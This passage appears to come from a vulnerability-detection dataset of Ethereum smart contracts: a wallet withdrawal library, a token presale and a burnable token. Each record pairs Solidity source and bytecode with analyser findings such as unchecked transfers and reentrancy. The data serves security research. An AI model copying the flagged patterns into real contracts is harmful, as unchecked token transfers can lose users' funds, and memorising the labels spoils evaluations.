b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61373681613285565b811461374157600080fd5b50565b61374d81613297565b811461375857600080fd5b50565b613764816132c3565b811461376f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122078e34034f70ed97902d258c5efc4556a9c0f2ace0fcc5b04de2f01369a8def1f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
206
0xDdD336eAad17F1D40cc81997Fb956608f00639FF
pragma solidity ^0.4.24; contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } contract Ownable { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /* @dev constructor */ constructor (address _owner) public { owner = _owner; } /* @dev allows execution by the owner only */ modifier ownerOnly { require(msg.sender == owner); _; } /* @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /* @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Utils { /* @dev constructor */ constructor() public { } /* @dev verifies that an amount is greater than zero */ modifier greaterThanZero(uint256 _amount) { require(_amount > 0); _; } /* @dev validates an address - currently only checks that it isn't null */ modifier validAddress(address _address) { require(_address != 0x0); _; } /* @dev verifies that the address is different than this contract address */ modifier notThis(address _address) { require(_address != address(this)); _; } /* @dev verifies that the string is not empty */ modifier notEmpty(string _str) { require(bytes(_str).length > 0); _; } // Overflow protected math functions /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev returns the difference of _x minus _y, asserts if the subtraction results in a negative number @param _x minuend @param _y subtrahend @return difference */ function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) { require(_x >= _y); return _x - _y; } /* @dev returns the product of multiplying _x by _y, asserts if the calculation overflows @param _x factor 1 @param _y factor 2 @return product */ function safeMul(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x * _y; assert(_x == 0 || z / _x == _y); return z; } } contract WithdrawalConfigurations is Ownable, Utils { /* * Members */ uint public minWithdrawalCoolingPeriod; uint constant maxWithdrawalCoolingPeriod = 12 * 1 weeks; // = 14515200 seconds uint public withdrawalCoolingPeriod; /* * Events */ event WithdrawalRequested(address _sender, address _smartWallet); event SetWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod); /* @dev constructor @param _withdrawalCoolingPeriod The cooling period @param _minWithdrawalCoolingPeriod The minimum time from withdraw request to allow performing it */ constructor (uint _withdrawalCoolingPeriod, uint _minWithdrawalCoolingPeriod) Ownable(msg.sender) public { require(_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= _minWithdrawalCoolingPeriod); require(_minWithdrawalCoolingPeriod >= 0); minWithdrawalCoolingPeriod = _minWithdrawalCoolingPeriod; withdrawalCoolingPeriod = _withdrawalCoolingPeriod; } /* @dev Get the withdrawalCoolingPeriod parameter value. */ function getWithdrawalCoolingPeriod() external view returns(uint) { return withdrawalCoolingPeriod; } /* @dev Set the withdrawalCoolingPeriod parameter value. @param _withdrawalCoolingPeriod Cooling period in seconds */ function setWithdrawalCoolingPeriod(uint _withdrawalCoolingPeriod) ownerOnly() public { require (_withdrawalCoolingPeriod <= maxWithdrawalCoolingPeriod && _withdrawalCoolingPeriod >= minWithdrawalCoolingPeriod); withdrawalCoolingPeriod = _withdrawalCoolingPeriod; emit SetWithdrawalCoolingPeriod(_withdrawalCoolingPeriod); } /* @dev Fire the WithdrawalRequested event. @param _userWithdrawalAccount User withdrawal account address @param _sender The user account, activating this request */ function emitWithrawalRequestEvent(address _sender, address _smartWallet) public { emit WithdrawalRequested(_sender, _smartWallet); } } library SmartWalletLib { /* * Structs */ struct Wallet { address operatorAccount; address userWithdrawalAccount; address feesAccount; uint withdrawAllowedAt; //In seconds } /* * Members */ string constant VERSION = "1.1"; address constant withdrawalConfigurationsContract = 0xDdD336eAad17F1D40cc81997Fb956608f00639FF; /* * Modifiers */ modifier validAddress(address _address) { require(_address != 0x0); _; } modifier addressNotSet(address _address) { require(_address == 0); _; } modifier operatorOnly(address _operatorAccount) { require(msg.sender == _operatorAccount); _; } modifier userWithdrawalAccountOnly(Wallet storage _self) { require(msg.sender == _self.userWithdrawalAccount); _; } /* * Events */ event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev Initialize the wallet with the operator and backupAccount address @param _self Wallet storage @param _operator The operator account @param _feesAccount The account to transfer fees to */ function initWallet(Wallet storage _self, address _operator, address _feesAccount) public validAddress(_operator) validAddress(_feesAccount) { _self.operatorAccount = _operator; _self.feesAccount = _feesAccount; } /* @dev Setting the account of the user to send funds to. @param _self Wallet storage @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(Wallet storage _self, address _userWithdrawalAccount) public operatorOnly(_self.operatorAccount) validAddress(_userWithdrawalAccount) addressNotSet(_self.userWithdrawalAccount) { _self.userWithdrawalAccount = _userWithdrawalAccount; emit SetUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer @param _fee Fee to transfer */ function transferToUserWithdrawalAccount(Wallet storage _self, IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public operatorOnly(_self.operatorAccount) validAddress(_self.userWithdrawalAccount) { if (_fee > 0) { _feesToken.transfer(_self.feesAccount, _fee); } _token.transfer(_self.userWithdrawalAccount, _amount); emit TransferToUserWithdrawalAccount(_token, _self.userWithdrawalAccount, _amount, _feesToken, _self.feesAccount, _fee); } /* @dev returns the sum of _x and _y, asserts if the calculation overflows @param _x value 1 @param _y value 2 @return sum */ function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) { uint256 z = _x + _y; assert(z >= _x); return z; } /* @dev user request withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function requestWithdraw(Wallet storage _self) public userWithdrawalAccountOnly(_self) { WithdrawalConfigurations withdrawalConfigurations = WithdrawalConfigurations(withdrawalConfigurationsContract); _self.withdrawAllowedAt = safeAdd(now, withdrawalConfigurations.getWithdrawalCoolingPeriod()); withdrawalConfigurations.emitWithrawalRequestEvent(msg.sender, address(this)); } /* @dev user perform withdraw. @param _self Wallet storage @param _token The ERC20 token the owner withdraws from */ function performUserWithdraw(Wallet storage _self, IERC20Token _token) public userWithdrawalAccountOnly(_self) { require(_self.withdrawAllowedAt != 0 && _self.withdrawAllowedAt <= now ); uint userBalance = _token.balanceOf(this); _token.transfer(_self.userWithdrawalAccount, userBalance); emit PerformUserWithdraw(_token, _self.userWithdrawalAccount, userBalance); } } contract SmartWallet { /* * Members */ using SmartWalletLib for SmartWalletLib.Wallet; SmartWalletLib.Wallet public wallet; // Wallet public wallet; /* * Events */ event TransferToUserWithdrawalAccount(address _token, address _userWithdrawalAccount, uint _amount, address _feesToken, address _feesAccount, uint _fee); event SetUserWithdrawalAccount(address _userWithdrawalAccount); event PerformUserWithdraw(address _token, address _userWithdrawalAccount, uint _amount); /* @dev constructor @param _backupAccount A default operator's account to send funds to, in cases where the user account is unavailable or lost @param _operator The contract operator address @param _feesAccount The account to transfer fees to */ constructor (address _operator, address _feesAccount) public { wallet.initWallet(_operator, _feesAccount); } /* @dev Setting the account of the user to send funds to. @param _userWithdrawalAccount The user account to withdraw funds to */ function setUserWithdrawalAccount(address _userWithdrawalAccount) public { wallet.setUserWithdrawalAccount(_userWithdrawalAccount); } /* @dev Withdraw funds to the user account. @param _token The ERC20 token the owner withdraws from @param _amount Amount to transfer */ function transferToUserWithdrawalAccount(IERC20Token _token, uint _amount, IERC20Token _feesToken, uint _fee) public { wallet.transferToUserWithdrawalAccount(_token, _amount, _feesToken, _fee); } /* @dev Allows the user to request a withdraw of his/her placements @param _token The ERC20 token the user wishes to withdraw from */ function requestWithdraw() public { wallet.requestWithdraw(); } /* @dev Allows the user to perform the requestWithdraw operation @param _token The ERC20 token the user withdraws from */ function performUserWithdraw(IERC20Token _token) public { wallet.performUserWithdraw(_token); } }
0x6080604052600436106100985763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631170a759811461009d57806341f99b69146100c4578063683d4a4b146100de57806379ba5097146100f35780638da5cb5b14610108578063d4ee1d9014610139578063d6847cd81461014e578063f2fde38b14610163578063f42ef9ec14610184575b600080fd5b3480156100a957600080fd5b506100b26101ab565b60408051918252519081900360200190f35b3480156100d057600080fd5b506100dc6004356101b1565b005b3480156100ea57600080fd5b506100b2610223565b3480156100ff57600080fd5b506100dc610229565b34801561011457600080fd5b5061011d6102c0565b60408051600160a060020a039092168252519081900360200190f35b34801561014557600080fd5b5061011d6102cf565b34801561015a57600080fd5b506100b26102de565b34801561016f57600080fd5b506100dc600160a060020a03600435166102e4565b34801561019057600080fd5b506100dc600160a060020a0360043581169060243516610345565b60035481565b600054600160a060020a031633146101c857600080fd5b626ebe0081111580156101dd57506002548110155b15156101e857600080fd5b60038190556040805182815290517f42e66959d092ac3ecab69693da5cde524f7ba80faa5d7557a88863ffd274713d9181900360200190a150565b60025481565b600154600160a060020a0316331461024057600080fd5b60005460015460408051600160a060020a03938416815292909116602083015280517f343765429aea5a34b3ff6a3785a98a5abb2597aca87bfbb58632c173d585373a9281900390910190a1600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b600054600160a060020a031681565b600154600160a060020a031681565b60035490565b600054600160a060020a031633146102fb57600080fd5b600054600160a060020a038281169116141561031657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051600160a060020a0380851682528316602082015281517f1d7c8dd9fcc2d73a74f751d35799b67c34a0a1828f325c1f960c7a6ae27d88af929181900390910190a150505600a165627a7a723058207d63d25db5c8c60ebef3251aa5bd4272a19231031304dea2d1f9f6590039db6c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
207
0xe86770495134c926ec1e0817a656dff719477880
pragma solidity =0.6.6; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Vote_Presale_1 { using SafeMath for uint256; bool seeded; address public admin; address constant public VOTE_ADDRESS = 0xdFb3051e710118BAfc4b3Bb2034728f73C1E62aB; address constant public WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; uint256 constant public VOTE_MAG = 1e9; uint256 constant public ETH_MAG = 1e18; uint256 constant public SEED_AMOUNT = 3800000 * VOTE_MAG; uint256 constant public RATE = 8000; modifier onlyAdmin() { require(admin == msg.sender); _; } modifier isSeeded() { require(seeded == true); _; } constructor() public { admin = msg.sender; } function seed() external onlyAdmin { TransferHelper.safeTransferFrom(VOTE_ADDRESS, msg.sender, address(this), SEED_AMOUNT); seeded = true; } function exchangeEthForTokens(uint256 _amount) external { uint256 ethAmount_ = _amount; uint256 voteBalance_ = IERC20(VOTE_ADDRESS).balanceOf(address(this)); uint256 voteAmount_ = (ethAmount_.mul(RATE)).div(VOTE_MAG); require(voteBalance_ >= voteAmount_, "PRESALE_1 ENDED"); TransferHelper.safeTransferFrom(WETH_ADDRESS, msg.sender, address(this), _amount); TransferHelper.safeTransfer(VOTE_ADDRESS, msg.sender, voteAmount_); } function withdraw() external isSeeded onlyAdmin { uint256 ethBalance_ = IERC20(WETH_ADDRESS).balanceOf(address(this)); TransferHelper.safeTransfer(WETH_ADDRESS, msg.sender, ethBalance_); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80633f7df3ff116100665780633f7df3ff14610110578063664e9704146101185780637d94792a14610120578063f1d156d714610128578063f851a440146101305761009e565b8063040141e5146100a35780630548fb2f146100c75780630989d71d146100e15780630a64f94d146101005780633ccfd60b14610108575b600080fd5b6100ab610138565b604080516001600160a01b039092168252519081900360200190f35b6100cf610150565b60408051918252519081900360200190f35b6100fe600480360360208110156100f757600080fd5b503561015b565b005b6100cf610295565b6100fe61029d565b6100ab610372565b6100cf61038a565b6100fe610390565b6100cf6103e2565b6100ab6103ee565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b660d80147225800081565b604080516370a0823160e01b81523060048201529051829160009173dfb3051e710118bafc4b3bb2034728f73c1e62ab916370a08231916024808301926020929190829003018186803b1580156101b157600080fd5b505afa1580156101c5573d6000803e3d6000fd5b505050506040513d60208110156101db57600080fd5b505190506000610207633b9aca006101fb85611f4063ffffffff61040216565b9063ffffffff61046416565b905080821015610250576040805162461bcd60e51b815260206004820152600f60248201526e14149154d0531157cc481153911151608a1b604482015290519081900360640190fd5b61027073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23330876104a6565b61028f73dfb3051e710118bafc4b3bb2034728f73c1e62ab3383610603565b50505050565b633b9aca0081565b60005460ff1615156001146102b157600080fd5b60005461010090046001600160a01b031633146102cd57600080fd5b604080516370a0823160e01b8152306004820152905160009173c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2916370a0823191602480820192602092909190829003018186803b15801561032257600080fd5b505afa158015610336573d6000803e3d6000fd5b505050506040513d602081101561034c57600080fd5b5051905061036f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23383610603565b50565b73dfb3051e710118bafc4b3bb2034728f73c1e62ab81565b611f4081565b60005461010090046001600160a01b031633146103ac57600080fd5b6103d373dfb3051e710118bafc4b3bb2034728f73c1e62ab3330660d8014722580006104a6565b6000805460ff19166001179055565b670de0b6b3a764000081565b60005461010090046001600160a01b031681565b6000826104115750600061045e565b8282028284828161041e57fe5b041461045b5760405162461bcd60e51b81526004018080602001828103825260218152602001806108106021913960400191505060405180910390fd5b90505b92915050565b600061045b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061076d565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180516001600160e01b03166323b872dd60e01b17815292518251600094606094938a169392918291908083835b6020831061052b5780518252601f19909201916020918201910161050c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461058d576040519150601f19603f3d011682016040523d82523d6000602084013e610592565b606091505b50915091508180156105c05750805115806105c057508080602001905160208110156105bd57600080fd5b50515b6105fb5760405162461bcd60e51b81526004018080602001828103825260248152602001806108316024913960400191505060405180910390fd5b505050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b602083106106805780518252601f199092019160209182019101610661565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146106e2576040519150601f19603f3d011682016040523d82523d6000602084013e6106e7565b606091505b5091509150818015610715575080511580610715575080806020019051602081101561071257600080fd5b50515b610766576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b5050505050565b600081836107f95760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156107be5781810151838201526020016107a6565b50505050905090810190601f1680156107eb5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161080557fe5b049594505050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220362cda1a58bbad888b3a8170f8aa1f0325a51aa1200c33527056ad05c075e35964736f6c63430006060033
{"success": true, "error": null, "results": {}}
208
0xdecdc5f4310860efa6488eec8a3c1c280444a58d
pragma solidity ^0.4.21 ; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract StandardBurnableToken is BurnableToken, StandardToken { /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract VENOToken is StandardBurnableToken{ string public name = "Virtual Economy of Node Operation Token"; string public symbol = "VENO"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 200000000000000000; constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101ca57806323b872dd146101f55780632ff2e9dc1461027a578063313ce567146102a557806342966c68146102d6578063661884631461030357806370a082311461036857806379cc6790146103bf57806395d89b411461040c578063a9059cbb1461049c578063d73dd62314610501578063dd62ed3e14610566575b600080fd5b3480156100e157600080fd5b506100ea6105dd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101b0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061067b565b604051808215151515815260200191505060405180910390f35b3480156101d657600080fd5b506101df61076d565b6040518082815260200191505060405180910390f35b34801561020157600080fd5b50610260600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610777565b604051808215151515815260200191505060405180910390f35b34801561028657600080fd5b5061028f610b31565b6040518082815260200191505060405180910390f35b3480156102b157600080fd5b506102ba610b37565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e257600080fd5b506103016004803603810190808035906020019